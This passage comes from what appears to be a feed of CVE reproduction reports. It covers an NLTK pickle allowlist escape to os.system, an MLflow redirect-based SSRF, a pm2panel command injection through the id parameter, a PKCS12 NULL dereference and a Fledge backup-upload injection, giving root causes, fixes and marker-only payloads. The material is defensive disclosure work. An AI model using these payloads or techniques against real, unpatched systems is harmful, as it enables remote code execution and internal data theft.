Notes - Idempotency: the script is fully idempotent — it re-creates the docker network and containers, truncates the SMTP capture, and restores the victim's password between attempts. Verified by two consecutive successful runs (exit 0 both times). - The exploit uses only unauthenticated endpoints; no SMTP access, no victim interaction, and no knowledge beyond the victim's username are required. The victim's email delivery is not even required to succeed for the pivot (Keycloak forks the flow with a success message even when sending fails), but this reproduction proves real email generation via the SMTP capture. - The fork behavior (`forkWithSuccessMessage` → cloned tab on the browser flow) is why the legitimate "email sent" page is displayed on a cloned authentication-session tab while the original tab retains the selector note and the email execution as current — the exact state the GET refresh abuses. - The verification client `atk-cli` (public, direct grants) exists only to prove the password change; it plays no role in the exploit path itself. ### Reproduction - Reproduced: 2026-08-24T11:14:38.647Z - Duration: 3287s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00337 # or: pruva-verify CVE-2026-18963 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00337 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00337/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00337 ================================================================================ ## REPRO-2026-00336: NLTK <3.10.3 RCE in AllowlistUnpickler — validates pickle module string but not global name; dotted-name traversal escapes allowlist to reach arbitrary callables -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00336 - CVE: CVE-2026-71513 (https://nvd.nist.gov/vuln/detail/CVE-2026-71513) ### Package Information - Name: nltk/nltk - Ecosystem: github - Affected: nltk < 3.10.3 - Fixed: 3.10.3 - Severity: high - CVSS: Unknown - CWE: CWE-502 (Deserialization of Untrusted Data) ### Root Cause # RCA Report: CVE-2026-71513 — NLTK AllowlistUnpickler Dotted-Name Traversal RCE ## Summary NLTK before 3.10.3 ships `nltk.picklesec.AllowlistUnpickler`, a `pickle.Unpickler` subclass meant to safely load untrusted model/data pickles by allowing only audited globals. Its `find_class(module, name)` hook validated **only the module string** against a prefix allowlist (`allowed_modules`) / exact-pair allowlist (`allowed_globals`) and never inspected `name`. For pickle protocol >= 4, `pickle.Unpickler.find_class` resolves the global by `getattr`-chaining the (possibly dotted) `name` starting from the imported module. An attacker can therefore keep the module string inside an allowlisted namespace (e.g. `nltk.tokenize`) while putting the escape into the *name*: `stanford_segmenter.os.system`. The allowlist passes, the dotted traversal reaches `os.system`, and a following `REDUCE` executes an arbitrary shell command while NLTK loads the "model". Fixed in NLTK 3.10.3. ## Impact - Package/component: `nltk` — `nltk.picklesec.AllowlistUnpickler`, reached via the public data-loading entrypoints `nltk.tokenize.punkt.punkt_pickle_load` (legacy Punkt pickle models, allowlist `("nltk.tokenize.punkt", "nltk.tokenize")`) and `nltk.parse.transitionparser.TransitionParser` model loading (allowlist `("numpy", "scipy", "sklearn")`). - Affected versions: nltk < 3.10.3 (confirmed on 3.10.2). - Risk: high — arbitrary code execution with the privileges of the Python process that loads an attacker-controlled pickle (e.g. a downloaded "compatible" Punkt model or parser model file). ## Impact Parity - Disclosed/claimed maximum impact: code execution (RCE). - Reproduced impact from this run: code execution — the attacker command `echo PRUVA_RCE_ > ` ran via `os.system` on 2/2 vulnerable attempts through the real public entrypoint; marker contents verified. - Parity: `full`. - Not demonstrated: nothing material — the claimed impact was demonstrated end-to-end against the real library API. ## Root Cause `nltk/picklesec.py` (3.10.2), `AllowlistUnpickler.find_class`: ```python def find_class(self, module: str, name: str) -> Any: if (module, name) in self._allowed_globals or self._module_allowed(module): return super().find_class(module, name) raise pickle.UnpicklingError(...) ``` Only `module` is checked against the prefix allowlist. The base-class implementation for protocol >= 4 does: ```python __import__(module) return _getattribute(sys.modules[module], name) # getattr-chains "a.b.c" ``` so `name="stanford_segmenter.os.system"` with `module="nltk.tokenize"` resolves `nltk.tokenize.stanford_segmenter` (a submodule that `import os`) → `os` → `system`, a callable the module allowlist never intended to expose. NLTK 3.10.3 fixes this in `nltk/picklesec.py` by rejecting dotted and dunder names before resolution (Guard 1/2), adding a denied-module prefix backstop (`os`, `subprocess`, `builtins`, `nltk.internals`, ...) that applies even under a broad allowlist (Guards 3–5), and re-checking the resolved object's true `__module__`/`__qualname__` after resolution (`_resolve`). Fix reference: GHSA-4489 / GHSA-x99w hardening in `nltk.picklesec` (nltk 3.10.3 release). ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; reuses the prepared project cache for wheels/site dirs, falling back to `pip` + a local artifacts dir). 2. The script installs `nltk==3.10.2` (vulnerable) and `nltk==3.10.3` (fixed) into isolated `--target` site dirs, verifies the dotted-name guard is absent in 3.10.2 and present in 3.10.3, then runs `bundle/repro/harness.py` twice per side. The harness crafts a protocol-4 pickle `REDUCE(GLOBAL("nltk.tokenize", "stanford_segmenter.os.system"), (cmd,))` and feeds it to the real public entrypoint `nltk.tokenize.punkt.punkt_pickle_load`. 3. Expected evidence: each vulnerable attempt creates `repro/marker_vuln_.txt` containing `PRUVA_RCE_vuln` (harness exit 10); each fixed attempt raises `UnpicklingError: ... has a dotted name, which is forbidden` and creates no marker (harness exit 11). Script exits 0 only if 2/2 + 2/2 hold. ## Evidence - `bundle/logs/reproduction_steps.log` / `reproduction_steps_run2.log` — full script output for two consecutive runs (both exit 0). - `bundle/logs/harness_vuln_{1,2}.log` — `nltk=3.10.2`, `punkt_pickle_load returned: 0`, `MARKER CONTENT: PRUVA_RCE_vuln`, `RESULT: VULNERABLE - attacker command executed`. - `bundle/logs/harness_fixed_{1,2}.log` — `nltk=3.10.3`, `BLOCKED with UnpicklingError: global 'nltk.tokenize.stanford_segmenter.os.system' has a dotted name, which is forbidden (attribute-traversal pickle RCE, GHSA-4489)`. - `bundle/repro/marker_vuln_{1,2}.txt` — files created by the attacker command. - `bundle/repro/payload_{vuln,fixed}{1,2}.pickle` — exact 87-byte malicious pickles used. - Environment: Python 3.14.4, pip 25.1.1, linux x86_64. Vulnerable wheel `nltk-3.10.2-py3-none-any.whl` sha256 `2c7ccacb765c5e26b0cb60fb1b57080af522c6924d12a714a243305ba3637412`; fixed wheel `nltk-3.10.3-py3-none-any.whl` sha256 `ff9598a8e20518ee0d557745890cc4435b9578489e2dcbc69c4f81fa060caf7c`. - `bundle/repro/runtime_manifest.json` — structured runtime evidence (`entrypoint_kind=function_call`, `target_path_reached=true`). ## Recommendations / Next Steps - Upgrade to nltk >= 3.10.3. - Fix approach (already upstream): reject dotted/dunder global names before resolution; apply a denied-module backstop even under prefix allowlists; re-verify the resolved object's true `__module__`/`__qualname__`; refuse module-object results. - Defense in depth for downstream users: never load pickle data from untrusted or unauthenticated sources even behind an allowlisting unpickler; prefer non-pickle model formats. - Testing: regression-test that `find_class` rejects `("nltk.tokenize", "stanford_segmenter.os.system")`, `("sklearn", "os.system")`, in-namespace gadgets (`numpy.f2py.crackfortran.myeval`, `ReppTokenizer._execute`), and that legitimate single-qualname model pickles still load. ## Additional Notes - Idempotency: `reproduction_steps.sh` ran twice consecutively, both exit 0; the second run reused the cached site dirs/wheels. - The escape gadget `stanford_segmenter.os.system` works because `nltk.tokenize/__init__.py` imports the `stanford_segmenter` submodule, which itself does `import os`; any allowlisted package with an `os`-importing submodule in its attribute tree is equally exposed (e.g. `sklearn.os.system` per the upstream regression test). - No sanitizer or mock was used; the proof executes the real library code path and observes a real command side effect. ### Reproduction - Reproduced: 2026-08-23T15:44:28.210Z - Duration: 1419s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00336 # or: pruva-verify CVE-2026-71513 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00336 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00336/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00336 ================================================================================ ## REPRO-2026-00335: MLflow unauthenticated full-read SSRF in webhook delivery via redirect-follow bypass of _validate_webhook_url guard -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00335 - CVE: CVE-2026-64849 (https://nvd.nist.gov/vuln/detail/CVE-2026-64849) ### Package Information - Name: mlflow/mlflow - Ecosystem: PyPI - Affected: Official advisory range is mlflow < 3.15.0. The URL guard exists in 3.10.0 through 3.14.x and is bypassable by redirects or DNS rebinding; versions before 3.10.0 lack this guard and permit easier SSRF. - Fixed: mlflow==3.15.0 - Severity: critical - CVSS: Unknown - CWE: CWE-918 Server-Side Request Forgery (Server-Side Request Forgery (SSRF)) ### Root Cause ## Summary CVE-2026-64849 is confirmed in the real default MLflow Tracking Server API. MLflow 3.13.0 validates only the configured webhook URL, then its Requests session follows an HTTPS `302` redirect to an unvalidated private address. An unauthenticated caller can create that webhook and invoke `POST /api/2.0/mlflow/webhooks/{id}/test`; MLflow fetches the private resource and reflects its body. The same current-run procedure against MLflow 3.15.0 reaches the public HTTPS redirector but blocks the redirected connection before sending HTTP to the private service. ## Impact - **Affected component:** MLflow Tracking Server model-registry webhook API and `mlflow/webhooks/delivery.py`. - **Affected versions:** Upstream advisory scope is MLflow versions before 3.15.0. This run directly proves 3.13.0 vulnerable and 3.15.0 fixed. - **Risk level and consequences:** Critical, unauthenticated full-read SSRF. A remote caller can read HTTP resources reachable from the MLflow host, including private network and cloud metadata-style services, and receive those bytes in the API response. ## Impact Parity - **Disclosed/claimed maximum impact:** Unauthenticated full-read SSRF through the default remote API, with internal response data reflected to the caller. - **Reproduced impact from this run:** The real MLflow 3.13.0 API fetched `http://172.30.49.10:9000/latest-meta-data` after a validation-safe HTTPS redirect and returned `PRUVA_INTERNAL_SSRF_CANARY_CVE_2026_64849` with `success: true` and `response_status: 200`. - **Parity:** `full` - **Not demonstrated:** The 307/308 blind-write variant and DNS-rebinding variant were not needed for impact parity and were not tested here. No code execution or privilege escalation is claimed. ## Root Cause Three behaviors compose into the vulnerability: 1. The default `mlflow server` does not load the optional authentication plugin, so webhook creation and test routes are reachable without credentials. 2. `_validate_webhook_url` validates the original webhook hostname and rejects its initially resolved non-public addresses, but the validated address is not bound to subsequent connections. 3. In 3.13.0, `_send_webhook_request` uses a normal Requests session, and `session.post(webhook.url, ...)` follows redirects by default. The redirect target is not passed back through `_validate_webhook_url`, so a public HTTPS first hop can redirect to RFC1918, loopback, or link-local HTTP. The fix is upstream commit [`ba949522477cbd5915aa55d29b0cfad7d5ddf939`](https://github.com/mlflow/mlflow/commit/ba949522477cbd5915aa55d29b0cfad7d5ddf939), “Fix DNS-rebinding SSRF bypass in webhook delivery (#24258).” It introduces `SSRFProtectedHTTPAdapter`, validates the peer address of every actual connection (including a redirect connection), and disables environment proxy handling for the webhook session. MLflow 3.15.0 contains this code. In the fixed control, the initial HTTPS endpoint was successfully contacted, but connecting to the redirected private peer produced `SSRFProtectionError('Webhook connection blocked: 172.30.49.10 is not a public IP address...')`. ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` from any working directory. Docker, Git, curl, OpenSSL, and Python 3 are required. 2. The script reads `bundle/project_cache_context.json`, reuses `/repo` when prepared, verifies exact upstream tag SHAs and the fix hunk, and pulls official MLflow images: - vulnerable: `ghcr.io/mlflow/mlflow@sha256:b2136d49f882fdc9c48bdb95514a8a23804e8756524135c3f09f7a553a3ac58b` (`mlflow.__version__ == 3.13.0`) - fixed: `ghcr.io/mlflow/mlflow@sha256:2fef60dd85b18b4a555325b861b50b43ede45b1cc67176aa711cc86ad446a6a3` (`mlflow.__version__ == 3.15.0`) 3. It creates two isolated Docker bridges: a public-class network containing a trusted HTTPS redirector at `93.184.216.34`, and an RFC1918 network containing a canary at `172.30.49.10` and MLflow at `172.30.49.20`. 4. It launches the real default Tracking Server with SQLite and no auth plugin, waits for `/health`, creates a webhook through `POST /api/2.0/mlflow/webhooks`, and invokes `POST /api/2.0/mlflow/webhooks/{id}/test` without credentials. 5. It requires the 3.13.0 response to contain the private canary and requires the private service request count to increase. It then performs the identical procedure on 3.15.0, requires connection-time private-peer rejection, and requires the private service request count not to increase. 6. It writes `bundle/repro/runtime_manifest.json`, including SHA-256 closure over all immutable proof artifacts. Exit code 0 means the vulnerable/fixed behavioral delta was confirmed. ## Evidence - **Runtime manifest:** `bundle/repro/runtime_manifest.json` - **Pinned identities:** `bundle/logs/repro/image-identities.txt` - **Vulnerable API request/response:** - `bundle/logs/repro/vuln/test-wire.txt` - `bundle/logs/repro/vuln/test-response.json` - **Fixed API request/response:** - `bundle/logs/repro/fixed/test-wire.txt` - `bundle/logs/repro/fixed/test-response.json` - **Production service logs:** - `bundle/logs/repro/vuln/mlflow-service.log` - `bundle/logs/repro/fixed/mlflow-service.log` - **Redirect and private-service evidence:** - `bundle/logs/repro/vuln/redirector.log` - `bundle/logs/repro/fixed/redirector.log` - `bundle/logs/repro/final-canary.log` - `bundle/logs/repro/{vuln,fixed}/canary-private-requests-{before,after}.txt` Key vulnerable response: ```json { "result": { "success": true, "response_status": 200, "response_body": "PRUVA_INTERNAL_SSRF_CANARY_CVE_2026_64849\n" } } ``` The private request counter changed from `0` to `1` during the vulnerable test. The fixed response instead contains: ```text SSRFProtectionError('Webhook connection blocked: 172.30.49.10 is not a public IP address...') ``` The fixed counter remained `1` before and after its test, while the redirector log gained the second `POST /redirect`; this proves the negative control trusted and reached the first hop but sent no HTTP request to the private service. Both final consecutive executions of the script passed. No sanitizer or instrumentation was used. ## Recommendations / Next Steps - Upgrade to MLflow 3.15.0 or later. - Validate the actual peer of every connection, including redirects and retries, rather than only resolving and checking the original URL. - Ensure proxy configuration cannot bypass destination-peer validation, and preserve TLS verification against the original hostname. - Require authentication and authorization for webhook creation, modification, and testing even when MLflow is deployed with otherwise default settings. - Keep regression coverage for 301/302/303/307/308 redirects to loopback, RFC1918, link-local, IPv6-local, and mapped-address targets, plus DNS rebinding and proxy paths. ## Additional Notes The script is self-contained aside from standard tools and immutable remote images/repository objects that it fetches itself. It generates its own short-lived test CA and certificate, scopes trust to the MLflow test containers, creates fresh SQLite state, cleans child containers/networks on exit, and was verified twice consecutively in its final form. The public-class IP exists only inside an isolated Docker bridge; the private canary is a deterministic stand-in for an internal metadata endpoint, while all vulnerable logic and API behavior come from the unmodified official MLflow product image. ### Reproduction - Reproduced: 2026-08-23T15:44:22.550Z - Duration: 2463s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00335 # or: pruva-verify CVE-2026-64849 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00335 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00335/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00335 ================================================================================ ## REPRO-2026-00334: Authenticated command injection in pm2panel's /restart handler allows remote shell command execution on the host. -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00334 - CVE: CVE-2026-72573 (https://nvd.nist.gov/vuln/detail/CVE-2026-72573) ### Package Information - Name: 4xmen/pm2panel - Ecosystem: GitHub / Node.js web application - Affected: All versions (version 0 affected per CVE record, defaultStatus unknown) - Fixed: None identified - no fix available - Severity: high - CVSS: Unknown - CWE: CWE-78 (OS Command Injection) (Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) ### Root Cause # CVE-2026-72573: Command Injection in pm2panel /restart Endpoint ## Summary The `4xmen/pm2panel` web application contains an OS command injection vulnerability in the authenticated `/restart` HTTP endpoint. The handler at line 188 of `pm2panel.js` concatenates the attacker-controlled `req.query.id` query parameter directly into a `child_process.exec()` shell command (`exec("pm2 restart " + req.query.id)`). Because `exec` invokes `/bin/sh`, shell metacharacters such as `;`, `&&`, `|`, backticks, or `$()` in the `id` parameter are interpreted by the shell, allowing an authenticated attacker to execute arbitrary commands on the host with the privileges of the pm2panel process. ## Impact - **Package/component affected:** `4xmen/pm2panel` (Node.js web application, `pm2panel.js`) - **Affected versions:** All versions (commit `dd2a7d2e8cb4dacefb618ab54b0a8f7dc6742fa0`, latest on `master`) - **Risk level:** High — authenticated remote code execution - **Consequences:** An attacker with valid panel credentials (default: `admin`/`admin`) can execute arbitrary shell commands on the host server, leading to full system compromise, data exfiltration, lateral movement, or service disruption. ## Impact Parity - **Disclosed/claimed maximum impact:** Code execution (CWE-78, OS command injection) - **Reproduced impact from this run:** Full arbitrary command execution — a marker file was created on the host filesystem via an injected `touch` command through the authenticated `/restart` endpoint - **Parity:** `full` - **Not demonstrated:** N/A — the full claimed impact was demonstrated ## Root Cause The `/restart` route handler in `pm2panel.js` (line 188) constructs a shell command by directly string-concatenating the user-supplied `req.query.id` query parameter: ```js app.get('/restart', function (req, res) { if (!req.session.islogin) { // redirect to login... } else { if (req.query.id) { exec("pm2 restart " + req.query.id, (error, stdout, stderr) => { // ... }); } } }); ``` `child_process.exec()` spawns a shell (`/bin/sh -c`) to run the command. The `req.query.id` value is never validated, sanitized, or shell-escaped. When an attacker sends a request like `GET /restart?id=0; touch /tmp/pm2panel_pwned`, the shell interprets the `;` as a command separator and executes `touch /tmp/pm2panel_pwned` in addition to `pm2 restart 0`. The same vulnerable pattern exists in four other handlers: - `/start` (line 218): `exec("pm2 start " + req.query.id)` - `/stop` (line 248): `exec("pm2 stop " + req.query.id)` - `/delete` (line 278): `exec("pm2 delete " + req.query.id)` - `/addProccess` (line 149): `exec('pm2 start "' + req.body.path + '"')` No fix commit has been identified; the vulnerability is present in the latest commit on `master`. ## Reproduction Steps 1. **Reference script:** `bundle/repro/reproduction_steps.sh` 2. **What the script does:** - Clones/reuses the `4xmen/pm2panel` repository from the project cache - Installs system dependencies (`libpam0g-dev`) and npm dependencies (including native `node-linux-pam` module) - Installs and starts PM2 with a demo process (id 0) - Starts the pm2panel Express web application on port 3001 - Authenticates via `POST /loginCheck` with default credentials (`admin`/`admin`) - Sends an authenticated `GET /restart?id=0; touch /tmp/pm2panel_pwned_` request - Verifies the marker file was created (proving arbitrary command execution) - Runs negative controls: unauthenticated request is rejected (302 redirect), safe request without injection does not create a marker 3. **Expected evidence of reproduction:** - Marker file exists at `/tmp/pm2panel_pwned_*` after the exploit request - HTTP 302 response from the exploit endpoint (normal redirect behavior) - Unauthenticated requests return 302 redirect to `/login` - Safe restart requests (no injection) do not create marker files ## Evidence - **Log files:** - `bundle/logs/reproduction_steps.log` — full script execution log - `bundle/logs/pm2panel_service.log` — pm2panel application server log - `bundle/logs/artifacts/http/response_login.txt` — login response with session cookie - `bundle/logs/artifacts/http/request_exploit.txt` — exploit request details - `bundle/logs/artifacts/http/response_exploit.txt` — exploit HTTP response (302) - `bundle/logs/artifacts/http/marker_evidence.txt` — marker file existence and stat output - `bundle/logs/artifacts/http/response_unauth.txt` — unauthenticated request response (302 redirect) - `bundle/logs/artifacts/http/safe_restart_status.txt` — safe restart response code - `bundle/repro/runtime_manifest.json` — structured runtime evidence manifest - **Key excerpts:** - Exploit request: `GET /restart?id=0;%20touch%20/tmp/pm2panel_pwned_3850 HTTP/1.1` - Exploit response: `HTTP/1.1 302 Found` with `Location: /` - Marker evidence: `MARKER_FILE_EXISTS=true` with `stat` output showing file creation timestamp - Negative control (unauthenticated): `302` redirect to `/login` - Negative control (safe): no marker file created - **Environment:** - Node.js v24.18.0, npm 11.16.0 - PM2 v7.0.3 - pm2panel commit `dd2a7d2e8cb4dacefb618ab54b0a8f7dc6742fa0` - Linux x86_64, Express 4.x, express-session ## Recommendations / Next Steps 1. **Fix:** Replace `child_process.exec` with `child_process.execFile` (which does not invoke a shell) and pass `req.query.id` as a separate argument array, or validate `req.query.id` against a strict numeric regex before use. 2. **Defense in depth:** Implement input validation on all endpoints that accept process IDs (`/start`, `/stop`, `/delete`, `/addProccess`). 3. **Authentication:** Change default credentials from `admin`/`admin` and enforce strong password policies. 4. **Upgrade guidance:** No patched version exists. Users should apply the fix manually or discontinue use of the panel. 5. **Testing:** Add integration tests that send shell metacharacters in query parameters and assert they are not interpreted by the shell. ## Additional Notes - **Idempotency:** The script uses process-specific marker file names (with `$$` PID suffix) and cleans up PM2 processes and the pm2panel server on each run. It was verified to pass on two consecutive executions. - **Authentication requirement:** The vulnerability requires authentication. The script performs a proper login flow with `POST /loginCheck` and session cookie extraction before sending the exploit request. - **Multiple vulnerable endpoints:** The same command injection pattern affects `/start`, `/stop`, `/delete`, and `/addProccess` in addition to `/restart`. The reproduction focuses on `/restart` as specified in the claim. ### Reproduction - Reproduced: 2026-08-23T15:44:16.384Z - Duration: 854s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00334 # or: pruva-verify CVE-2026-72573 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00334 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00334/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00334 ================================================================================ ## REPRO-2026-00333: Crypt::OpenSSL::PKCS12 before 1.98 can crash with a NULL pointer dereference when `info_as_hash()` parses a crafted PKCS#12 containing a zero-length BMPSTRING attribute. -------------------------------------------------------------------------------- Status: published Severity: medium Type: security ### Identifiers - REPRO ID: REPRO-2026-00333 - CVE: CVE-2026-17510 (https://nvd.nist.gov/vuln/detail/CVE-2026-17510) ### Package Information - Name: dsully/perl-crypt-openssl-pkcs12 - Ecosystem: CPAN - Affected: Versions before 1.98 - Fixed: 1.98 - Severity: medium - CVSS: Unknown - CWE: CWE-476 NULL Pointer Dereference (NULL Pointer Dereference) ### Root Cause # Root Cause Analysis — CVE-2026-17510 ## Summary Crypt::OpenSSL::PKCS12 before 1.98 contains a NULL pointer dereference in the `V_ASN1_BMPSTRING` branch of `print_attribute()` (PKCS12.xs). When `info_as_hash()` parses a crafted PKCS#12 file containing a zero-length BMPSTRING bag attribute, `Renew(*attribute, 0, char)` (Perl's `safesysrealloc`) frees the destination buffer and returns `NULL`; the `NULL` is stored back into `*attribute`, and the downstream caller runs `newSVpvn(attribute_value, strlen(attribute_value))`, dereferencing `NULL` inside `strlen()` and causing a deterministic SIGSEGV (exit status 139). ## Impact - Package: `Crypt-OpenSSL-PKCS12` (CPAN), XS binding to OpenSSL's PKCS12 API. - Affected versions: all versions before 1.98 (vulnerable code confirmed at commit `5934ce7fe7c4683c8d9a08edcbd0c6871a52945f`, the parent of the fix). - Risk: medium — remote/unauthenticated denial of service of any Perl process that calls `info_as_hash()` on attacker-supplied PKCS#12 data. The `info()` path is unaffected (it uses the `BIO_printf` branch and never calls `Renew`). ## Impact Parity - Disclosed/claimed maximum impact: denial of service (process crash via NULL dereference). The advisory explicitly scopes impact to DoS; no memory disclosure or code execution is claimed. - Reproduced impact from this run: deterministic SIGSEGV (exit 139, core dumped) in the real library function `info_as_hash()` on the vulnerable build, twice in a row; fixed build returns the attribute as the empty string and completes normally, twice in a row. - Parity: **full** — the claimed DoS impact was demonstrated exactly. - Not demonstrated: nothing beyond the claim; no code execution was claimed or attempted. ## Root Cause In `print_attribute()` (pre-fix PKCS12.xs, line ~666): ```c value = OPENSSL_uni2asc(av->value.bmpstring->data, length); if (*attribute != NULL) { Renew(*attribute, length, char); /* length == ASN.1 byte length */ strncpy(*attribute, value, length); } ``` For a normal BMPSTRING this is benign because `OPENSSL_uni2asc()` returns a NUL-terminated ASCII string and `strncpy` zero-pads the oversized buffer. For an **empty** BMPSTRING (`length == 0`) it degenerates: Perl's `safesysrealloc` treats a zero size as free-and-return-NULL, so `Renew(*attribute, 0, char)` frees the buffer, `*attribute` becomes `NULL`, `strncpy(NULL, value, 0)` writes nothing, and the downstream `dump_certs_pkeys_bag` / `print_attribs` code calls `newSVpvn(attribute_value, strlen(attribute_value))` on the `NULL` pointer — a deterministic NULL dereference in `strlen()`. Only `info_as_hash()` reaches this branch because it passes a non-NULL hash, making `*attribute` non-NULL. Fix commit: https://github.com/dsully/perl-crypt-openssl-pkcs12/commit/6cb282d8d8e8ded4859551cd2d3cfa7c6028ce48 The fix sizes the buffer with `strlen(value) + 1` (never zero), copies with `memcpy`, writes an explicit terminator, and adds a NULL check on the `OPENSSL_uni2asc()` return value. ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; run from anywhere, honors `PRUVA_ROOT`). 2. The script: - Clones `dsully/perl-crypt-openssl-pkcs12` (uses the prepared project cache mirror when available, GitHub otherwise). - Resolves `VULN_COMMIT = 6cb282d...^` = `5934ce7fe7c4...` and `FIXED_COMMIT = 6cb282d8d8e8ded4859551cd2d3cfa7c6028ce48`, and verifies the vulnerable tree contains the pre-fix `Renew(*attribute, length, char)` hunk while the fixed tree contains the `strlen(value) + 1` fix. - Installs the pure-Perl configure dependency `Crypt::OpenSSL::Guess` into a bundle-local `INSTALL_BASE` if missing. - Builds the XS module from both commits with `perl Makefile.PL && make`. - Extracts the crafted fixture `certs/bmpstring-empty.p12` from the fixed commit (it ships there as the regression-test fixture: a certBag whose bag attribute at OID `1.2.3.4.6` is a zero-length ASN.1 BMPSTRING, password `Password1`, SHA-256 MAC) and validates it with `openssl pkcs12 -info`. - Runs `Crypt::OpenSSL::PKCS12->new_from_file(...)->info_as_hash('Password1')` twice against the vulnerable build and twice against the fixed build. 3. Expected evidence: both vulnerable attempts die with SIGSEGV (exit 139, core dumped, `INFO_AS_HASH_RETURNED` never printed); both fixed attempts print `attribute 1.2.3.4.6 value=<>` and `INFO_AS_HASH_RETURNED` with exit 0. ## Evidence - `bundle/logs/reproduction_steps.log` — full script transcript, including: - `[*] vuln-attempt-1 exit=139` / `Segmentation fault (core dumped)` and `timeout: the monitored command dumped core` - `[*] vuln-attempt-2 exit=139` - `[*] fixed-attempt-1 exit=0` → `attribute 1.2.3.4.6 value=<>`, `INFO_AS_HASH_RETURNED` - `[*] fixed-attempt-2 exit=0` → same - `bundle/logs/vuln-attempt-{1,2}.log`, `bundle/logs/fixed-attempt-{1,2}.log` — per-attempt output. - `bundle/logs/build-vuln.log`, `bundle/logs/build-fixed.log` — build logs. - `bundle/repro/runtime_manifest.json` — machine-readable runtime evidence (`entrypoint_kind=function_call`, `target_path_reached=true`, commit and digest identity). - Environment: Perl 5.38.2 (x86_64-linux-gnu-thread-multi), OpenSSL 3.0.13 (module linked against system libssl/libcrypto), gcc, Ubuntu noble. - A `Data::Dumper` dump of `info_as_hash()` on the fixed build confirms `'bag_attributes' => { '1.2.3.4.6' => '' }` — the empty-string return the advisory predicts for the patched version. ## Recommendations / Next Steps - Upgrade to Crypt-OpenSSL-PKCS12 1.98 or later. - The upstream fix (size on `strlen(value) + 1`, explicit terminator, NULL check on `OPENSSL_uni2asc()`) is correct and verified by this run. - Services accepting untrusted PKCS#12 uploads should not call `info_as_hash()` on unpatched versions; sandboxing the parse in a disposable process limits DoS blast radius. ## Additional Notes - Idempotency: the script was executed twice consecutively; both runs exited 0 with identical verdicts. Re-runs reuse the local mirror and rebuild both worktrees from scratch (`rm -rf` + fresh `git worktree add`). - No sanitizer was used; the crash is a product-visible native SIGSEGV from the real XS library (`sanitizer_used=false`). - The crafted fixture is not synthesized by this run: it is the exact regression fixture `certs/bmpstring-empty.p12` shipped in the upstream fix commit, so the attacker input is byte-identical to what upstream used to prove the bug. - The claim surface is `library_api` / `function_call`; the proof invokes the real published library entry points (`new_from_file`, `info_as_hash`) through the module's own compiled XS code, matching the claim contract. ### Reproduction - Reproduced: 2026-08-23T15:39:12.158Z - Duration: 1067s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00333 # or: pruva-verify CVE-2026-17510 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00333 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00333/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00333 ================================================================================ ## REPRO-2026-00332: Fledge backup upload shell command injection -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00332 - CVE: CVE-2026-71284 (https://nvd.nist.gov/vuln/detail/CVE-2026-71284) ### Package Information - Name: fledge-iot/fledge - Ecosystem: github - Affected: CVE.org lists versions 0 through 3.1.0 as affected; the ticket requires proof on 3.1.0. - Fixed: Unknown - Severity: high - CVSS: Unknown - CWE: Unknown ### Root Cause ## Summary Fledge 3.1.0 is vulnerable to authenticated OS command injection in the production backup-upload REST handler. An administrator can upload a syntactically valid `.tar.gz` archive whose first member starts with `fledge_backup_`, ends with `.db`, and contains shell metacharacters between those accepted strings. `upload_backup()` extracts that member, concatenates its path into `cp {source} {backup_path}`, and executes the result with `os.system()`. A real Fledge service consequently runs the embedded shell command as its `fledge` service user. ## Impact - **Product/component:** `fledge-iot/fledge`, specifically `python/fledge/services/core/api/backup_restore.py::upload_backup()` and `POST /fledge/backup/upload`. - **Affected release tested:** Fledge **3.1.0**, tag and commit `f90ffc2047ee49a380ada98a59fcc2985bd6a943` (database schema 75). The ticket reports versions through 3.1.0 as affected. - **Required attacker position:** An authenticated Fledge administrator with access to the backup-upload endpoint. - **Risk:** High. The administrator can execute arbitrary local shell commands with the identity and filesystem access of the Fledge service account. In the reproduced deployment that identity was UID 10001, user/group `fledge`. - **Consequence demonstrated:** Deterministic command execution through the network API, including attacker-selected file creation and content. ## Impact Parity - **Disclosed/claimed maximum impact:** Authenticated remote OS command execution as the Fledge service user. - **Reproduced impact:** Two fresh vulnerable Fledge 3.1.0 service instances accepted authenticated crafted uploads. Each spawned `/bin/sh -c` with the attacker-controlled member filename and created a distinct attacker-selected marker as `fledge`. - **Parity:** `full`. - **Not demonstrated:** No privilege escalation beyond the Fledge service account, lateral movement, persistence, or outbound network behavior was attempted or required. These are not part of the claimed maximum impact. ## Root Cause The handler applies validation to two different filename layers: 1. The outer multipart filename must start with `fledge_backup_` and end in `.tar.gz`. 2. At least one archive member must start with `fledge_backup_` and end in `.db` or 